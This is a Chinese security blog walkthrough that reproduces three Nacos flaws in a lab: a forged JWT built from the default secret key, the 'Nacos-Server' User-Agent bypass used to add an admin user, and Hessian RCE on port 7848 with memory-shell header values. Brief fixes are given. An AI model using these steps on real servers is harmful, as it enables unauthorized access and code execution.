0u0zzz2023-07-13文章来源:SecHub网络安全社区
nacos是阿里巴巴的一个开源项目,旨在帮助构建云原生应用程序和微服务平台
下载文件,该文件为gz压缩文件
wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz
转移目录
cd nacos/bin
运行nacos
./startup.sh -m standalone
关闭nacos
./shutdown.sh
访问url:
http://192.168.1.128:8848/nacos/#/login
默认账号密码
nacos/nacos
nacos在默认情况下未对token.secret.key进行修改,导致攻击者可以绕过密钥认证进入后台。
也就是nacos的密钥是有默认值的,其鉴权是JWT,我们知道密钥即可伪造一个恶意的JWT令牌来攻击
对于jwt加密 其实就是用了base64 密钥是写死在源码里面的 所以直接可以用jwt伪造攻击
对应就是数据包的accesstoken
0.1.0 <= Nacos <= 2.2.0
访问url:
http://192.168.1.128:8848/nacos/#/login
登陆抓包
拦截返回包填写poc
HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Type: application/json; charset=utf-8
Date: Tue, 14 Mar 2023 16:34:47 GMT
Content-Length: 206
{
"accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"tokenTtl": 18000,
"globalAdmin": false,
"username": "nacos"
}
成功登录后台
升级到最新版nacos
修改token.secret.key
的值
https://www.cnblogs.com/0vers1eep/p/17226608.html
https://mp.weixin.qq.com/s?src=11×tamp=1688698851&ver=4635&signature=9oSwwPFu8Rj0T9S4Y2wphhDWoF*3swqweCW*kX1YPjTEN3VJvHo51RDv6WlMdyZrFcNpsj*AMXN3p7w2pGiIb*FP5Unnkb-8LUfHFEcWBXBUYf9QdXsPb7mM2ayaAhaq&new=1
在<1.4.1
及更早版本的Nacos
中,当配置文件使用身份验证(Dnacos.core.auth.enabled=true
)时候,会判断请求ua是否为"Nacos-Server"
,如果是的话则不进行任何认证。
nacos<1.4.1
在vulhub上搭建环境
cd /root/桌面/docker/vulhub/nacos/CVE-2021-29441/
docker-compose up -d
开启burp抓包
http://192.168.111.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
把UA改成Nacos-Server
1.成功访问,绕过鉴权,返回用户列表数据
2.绕过鉴权 添加新用户
请求行改成:
POST /nacos/v1/auth/users?username=hglight&password=hglight HTTP/1.1
ua改成:Nacos-Server
成功添加一个hglight/hglight
的用户
3.再次查看用户列表
4.登录
nacos默认的7848端口是用来处理集群模式下raft协议的通信,该端口的服务在处理部分jraft请求的时候使用hessian传输协议进行反序列化过滤不严,导致rce
nacos 1.x在单机模式下默认不开放7848端口,但是集群模式下受影响。
2.x版本无论单机还是集群均开放7848端口
主要受影响的是7848端口的Jraft服务。
受影响版本
不受影响****版本
利用nacos2.2.0的环境
使用github上面的工具
https://github.com/c0olw/NacosRce/releases/tag/v0.5
java -jar NacosRce.jar http://192.168.1.128:8848/nacos/#/login 7848 "whoami"
我这里试的 只有前几次 能利用成功 后面好像都不咋行
需要设置请求头x-client-data:rebeyond
设置Referer:https://www.google.com/
路径随意
密码rebeyond
需要设置请求头x-client-data:cmd
设置Referer:https://www.google.com/
请求头cmd:要执行的命令
https://y4er.com/posts/nacos-hessian-rce/